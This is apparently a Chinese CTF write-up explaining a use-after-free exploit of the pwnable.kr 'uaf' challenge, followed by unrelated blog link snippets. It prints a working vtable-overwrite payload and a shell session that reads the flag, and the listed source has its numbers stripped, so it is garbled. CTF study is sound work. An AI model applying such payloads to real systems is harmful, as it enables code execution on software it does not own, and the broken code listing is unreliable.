Use-After-Free
0x00 UAF利用原理
uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。
0x01 UAF漏洞的利用步骤
(1)先精心构造一个迷途指针
(2)再精心构造数据填充被释放的内存区域
(3)再次使用该指针,改变程序流程
0x02 Pwnable.kr-uaf
源码如下;
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std; class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
}; class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
}; class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
}; int main(int argc, char* argv[]){
Human* m = new Man("Jack", );
Human* w = new Woman("Jill", ); size_t len;
char* data;
unsigned int op;
while(){
cout << "1. use\n2. after\n3. free\n";
cin >> op; switch(op){
case :
m->introduce();
w->introduce();
break;
case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case :
delete m;
delete w;
break;
default:
break;
}
} return ;
}
uaf
根据分析源码,大致漏洞利用思路:
因为在main函数开始处已经申请了两块内存
Human* m = new Man("Jack", );
Human* w = new Woman("Jill", );
我们只要执行case 3就可以让这两个指针成为迷途指针,加以利用
case :
delete m;
delete w;
break;
观察到case 2 申请了一块内存,并且对这块内存进行写操作
case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
在具体利用之前我们先简单分析一下此时堆内存的分配情况,具体是c++类存在虚函数时的分配情况,我这里不细说,只给出结论,具体的可以参照
1.IDA pro第二版124面
此时堆内存分配大致如下图所示:
加上case 1中执行introduce函数
case :
m->introduce();
w->introduce();
break;
vtable指针指向类的虚函数表,introduce函数处于虚函数表第二项,即*(vtable+8)所指向的地址,又知道在虚表中give_shell函数的位置等于introduce函数位置 - 8.意思是假如我们先把vtable的值覆盖为vtable - 8,那么再执行introduce函数时就相当于执行give_shell函数。
通过IDA逆向分析,我们找到类Man的vtable的地址为0x401570.
利用脚本如下:
uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/poc
uaf@ubuntu:~$ ./uaf 24 /tmp/poc
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
0x03 参考链接
随机推荐
- webstrom打开多个项目,webstrom常用快捷键
1.webstrom打开多个项目 默认情况下一次只能打开一个项目,如果需要打开多个就按照下面的方法 File -> settings -> Directories -> Add Co ...
- CodeForces 382C【模拟】
活生生打成了大模拟... #include <bits/stdc++.h> using namespace std; typedef long long LL; typedef unsig ...
- JSON对象 JSON字符串 JSON数组
JSON对象: var str2 = { "name" : "andy", "gender" : "man" , &q ...
- scrapy框架中选择器的用法
scrapy框架中选择器的用法 Scrapy提取数据有自己的一套机制,被称作选择器(selectors),通过特定的Xpath或者CSS表达式来选择HTML文件的某个部分Xpath是专门在XML文件中 ...
- [软件工程基础]2017.10.27 第二次 Scrum 会议
决议 周六前项目交接 Milestone 完成 周六集体开发 游心整理物理网站上的实验流程和绪论复习题 石奇川上线静态版实验流程和绪论复习题库 李煦通构思后端如何实现绪论题库,包括和用户记录的关联方式 ...
- Codeforces 1131G(dp)
传送门 与Codeforces1107G一起食用 思路 想到要用dp--然后常规地设dp[i]为推倒前i个牌的最小花费 有两种情况:一是当前这个推,二是不推而被别人推.对于第一种,需要找到这个左推(因 ...
- YII报错笔记:<pre>PHP Notice 'yii\base\ErrorException' with message 'Uninitialized string offset: 0' in /my/test/project/iot/vendor/yiisoft/yii2/base/Model.php:778
YII常见报错笔记 报错返回的代码如下: <pre>PHP Notice 'yii\base\ErrorException' with message 'Uninitialized str ...
- The Weakest Sith
http://codeforces.com/gym/101149/problem/F 题目要输出最丑陋的衣服.所以每件衣服都要和其他衣服比一次. 但是注意到,能赢一件衣服的衣服,就算是好衣服了. 那么 ...
- 推荐一个VPS
有日本节点,不贵,用了两个月,感觉不错 http://www.vultr.com/?ref=6847480
- javaoo面向对象